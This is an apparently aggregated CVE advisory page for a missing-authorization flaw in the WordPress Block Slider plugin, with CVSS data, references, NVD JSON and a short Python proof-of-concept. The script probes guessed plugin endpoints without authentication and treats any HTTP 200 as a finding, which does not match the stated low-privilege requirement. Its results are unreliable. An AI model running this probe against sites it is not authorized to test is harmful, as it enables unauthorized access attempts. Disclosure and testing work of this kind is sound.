CVE-2026-22522

Description

Missing Authorization vulnerability in Munir Kamal Block Slider block-slider allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Block Slider: from n/a through <= 2.2.3.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Block Slider插件 <= 2.2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2026-22522 PoC - Authorization Bypass in Block Slider Plugin
# Target: WordPress site with Block Slider plugin <= 2.2.3

def check_vulnerability(target_url):
    """
    Check if target is vulnerable to CVE-2026-22522
    This PoC attempts to access protected slider data without proper authorization
    """
    
    # WordPress REST API endpoint for Block Slider
    endpoints = [
        f"{target_url}/wp-json/wp/v2/block-slider",
        f"{target_url}/wp-json/block-slider/v1/sliders",
        f"{target_url}/wp-admin/admin-ajax.php?action=get_slider_data"
    ]
    
    # Try to access without authentication
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Content-Type': 'application/json'
    }
    
    print(f"[*] Testing {target_url} for CVE-2026-22522...")
    
    for endpoint in endpoints:
        try:
            response = requests.get(endpoint, headers=headers, timeout=10)
            if response.status_code == 200:
                print(f"[+] Potential vulnerability found at: {endpoint}")
                print(f"[+] Response preview: {response.text[:200]}...")
                return True
        except requests.RequestException as e:
            print(f"[-] Error accessing {endpoint}: {e}")
    
    print("[-] No obvious vulnerability detected")
    return False

if __name__ == "__main__":
    if len(sys.argv) > 1:
        target = sys.argv[1]
        check_vulnerability(target)
    else:
        print("Usage: python cve-2026-22522-poc.py http://target.com")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22522
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22522
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22522/
[4] VulDB https://vuldb.com/cve/CVE-2026-22522
[5] https://patchstack.com/database/Wordpress/Plugin/block-slider/vulnerability/wordpress-block-slider-plugin-2-2-3-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22522", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:52.240", "lastModified": "2026-04-23T15:36:38.310", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Munir Kamal Block Slider block-slider allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Block Slider: from n/a through <= 2.2.3."}, {"lang": "es", "value": "Vulnerabilidad de falta de autorización en Munir Kamal Block Slider permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Block Slider: desde n/a hasta 2.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/block-slider/vulnerability/wordpress-block-slider-plugin-2-2-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}